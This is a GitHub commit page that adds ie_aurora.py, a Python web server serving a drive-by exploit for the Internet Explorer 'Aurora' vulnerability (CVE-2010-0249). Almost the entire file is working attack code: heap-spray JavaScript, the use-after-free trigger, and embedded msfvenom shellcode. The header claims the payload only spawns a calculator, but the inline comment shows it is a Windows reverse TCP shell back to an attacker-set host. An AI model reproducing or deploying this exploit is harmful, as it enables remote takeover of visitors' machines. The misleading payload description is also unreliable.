Skip to content

Commit 1caf00b

Browse files
ankh2054ankh2054
authoredOct 3, 2016
ie_aurora.py
1 parent 7e66168 commit 1caf00b

File tree

1 file changed

+170
-0
lines changed

1 file changed

+170
-0
lines changed
 

‎ie_aurora.py

+170
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
#
2+
# Author : Ahmed Obied (ahmed.obied@gmail.com)
3+
#
4+
# This program acts as a web server that generates an exploit to
5+
# target a vulnerability (CVE-2010-0249) in Internet Explorer.
6+
# The exploit was tested using Internet Explorer 6 on Windows XP SP2.
7+
# The exploit's payload spawns the calculator.
8+
#
9+
# Usage : python ie_aurora.py [port number]
10+
#
11+
12+
import sys
13+
import socket
14+
15+
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
16+
17+
class RequestHandler(BaseHTTPRequestHandler):
18+
19+
def convert_to_utf16(self, payload):
20+
enc_payload = ''
21+
for i in range(0, len(payload), 2):
22+
num = 0
23+
for j in range(0, 2):
24+
num += (ord(payload[i + j]) & 0xff) << (j * 8)
25+
enc_payload += '%%u%04x' % num
26+
return enc_payload
27+
28+
def get_payload(self):
29+
# msfvenom -p windows/shell_reverse_tcp LHOST=[IP]LPORT=4443 EXITFUNC=process -b "\x00" -f js_le
30+
payload = "%u95bf%u73e2%udbc3%ud9cf%u2474%u5ef4%uc931%u52b1%uee83%u31fc%u0e7e%ueb03%u91ec%uef36%ud719%u0fb9%ub8da%uea30%uf8eb%u7f27%uc95b%u2d2c%ua250%uc561%uc6e3%ueaad%u6c44%uc588%udd55%u44e8%u1cd6%ua63d%ueee7%ua730%u1220%uf5b8%u58f9%ue96f%u158e%u82ac%ub8dd%u77b4%ubb95%u2695%ue5ad%uc935%u9e62%ud17f%u9b67%u6a36%u5753%ubac9%u98ad%u8366%u6b01%uc476%u94a6%u3c0d%u29d5%ufb16%uf5a7%u1f93%u7d0f%ufb03%u52b1%u88d2%u1fbe%ud690%u9ea2%u6d75%u2bde%ua178%u6f56%u655f%u2b32%u3cfe%u9a9e%u5eff%u4241%u155a%u976c%u74d7%u54f9%u86da%uf2f9%uf56d%u5dcb%u91c6%u1567%u66c0%u0c87%uf8b4%uaf76%ud1c5%ufbbc%u4995%u8414%u897d%u5199%ud9d1%u0a35%u8992%ufaf5%uc37a%u25f9%uec9a%u4dd3%u1731%u7bb4%u17cd%u1474%u17d3%ubf65%uf15a%u2fef%uaa0b%ud687%u2016%u1639%u4d8d%u9c79%ub222%u5534%ua04e%u95a1%u9a05%ua964%ub2b3%u38eb%u4258%u2165%u15f7%u9722%uf30e%u8ede%ue1b8%u5622%ua182%uabf8%u280d%u908c%u3a29%u1848%u6e76%u4f04%ud820%u39e2%ub282%u96bc%u524c%ud538%u244e%u3045%uc839%uedf4%uf77c%u7a39%u8089%u1a27%u5b76%u2aec%uc13d%ua345%u9098%uaed7%u4f1a%ud71b%u6598%u2ce4%u0c80%u69e1%ufd06%ue29b%u01e3%u020f%u4126"
31+
32+
return payload
33+
34+
def get_exploit(self):
35+
exploit = '''
36+
<html>
37+
<head>
38+
<script>
39+
40+
var obj, event_obj;
41+
42+
function spray_heap()
43+
{
44+
var chunk_size, payload, nopsled;
45+
46+
chunk_size = 0x80000;
47+
payload = unescape("<PAYLOAD>");
48+
nopsled = unescape("<NOP>");
49+
while (nopsled.length < chunk_size)
50+
nopsled += nopsled;
51+
nopsled_len = chunk_size - (payload.length + 20);
52+
nopsled = nopsled.substring(0, nopsled_len);
53+
heap_chunks = new Array();
54+
for (var i = 0 ; i < 200 ; i++)
55+
heap_chunks[i] = nopsled + payload;
56+
}
57+
58+
function initialize()
59+
{
60+
obj = new Array();
61+
event_obj = null;
62+
for (var i = 0; i < 200 ; i++ )
63+
obj[i] = document.createElement("COMMENT");
64+
}
65+
66+
function ev1(evt)
67+
{
68+
event_obj = document.createEventObject(evt);
69+
document.getElementById("sp1").innerHTML = "";
70+
window.setInterval(ev2, 1);
71+
}
72+
73+
function ev2()
74+
{
75+
var data, tmp;
76+
77+
data = "";
78+
tmp = unescape("%u0a0a%u0a0a");
79+
for (var i = 0 ; i < 4 ; i++)
80+
data += tmp;
81+
for (i = 0 ; i < obj.length ; i++ ) {
82+
obj[i].data = data;
83+
}
84+
event_obj.srcElement;
85+
}
86+
87+
function check()
88+
89+
{
90+
document.write(navigator.userAgent);
91+
return true;
92+
}
93+
94+
if (check()) {
95+
initialize();
96+
spray_heap();
97+
}
98+
else
99+
window.location = 'about:blank'
100+
101+
</script>
102+
</head>
103+
<body>
104+
<h2> Hello </h2>
105+
<span id="sp1">
106+
<img src="aurora.gif" onload="ev1(event)">
107+
</span>
108+
</body>
109+
</html>
110+
'''
111+
exploit = exploit.replace('<PAYLOAD>', self.get_payload())
112+
exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
113+
return exploit
114+
115+
def get_image(self):
116+
content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
117+
content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
118+
content += '\x01\x00\x3b'
119+
return content
120+
121+
def log_request(self, *args, **kwargs):
122+
pass
123+
124+
def do_GET(self):
125+
try:
126+
if self.path == '/':
127+
print
128+
print '[-] Incoming connection from %s' % self.client_address[0]
129+
self.send_response(200)
130+
self.send_header('Content-Type', 'text/html')
131+
self.end_headers()
132+
print '[-] Sending exploit to %s ...' % self.client_address[0]
133+
self.wfile.write(self.get_exploit())
134+
print '[-] Exploit sent to %s' % self.client_address[0]
135+
elif self.path == '/aurora.gif':
136+
self.send_response(200)
137+
self.send_header('Content-Type', 'image/gif')
138+
self.end_headers()
139+
self.wfile.write(self.get_image())
140+
except:
141+
print '[*] Error : an error has occured while serving the HTTP request'
142+
print '[-] Exiting ...'
143+
sys.exit(-1)
144+
145+
146+
def main():
147+
if len(sys.argv) != 2:
148+
print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
149+
sys.exit(0)
150+
try:
151+
port = int(sys.argv[1])
152+
if port < 1024 or port > 65535:
153+
raise ValueError
154+
try:
155+
serv = HTTPServer(('', port), RequestHandler)
156+
ip = socket.gethostbyname(socket.gethostname())
157+
print '[-] Web server is running at http://%s:%d/' % (ip, port)
158+
try:
159+
serv.serve_forever()
160+
except:
161+
print '[-] Exiting ...'
162+
except socket.error:
163+
print '[*] Error : a socket error has occurred'
164+
sys.exit(-1)
165+
except ValueError:
166+
print '[*] Error : an invalid port number was given'
167+
sys.exit(-1)
168+
169+
if __name__ == '__main__':
170+
main()

0 commit comments

Comments
 (0)
Please sign in to comment.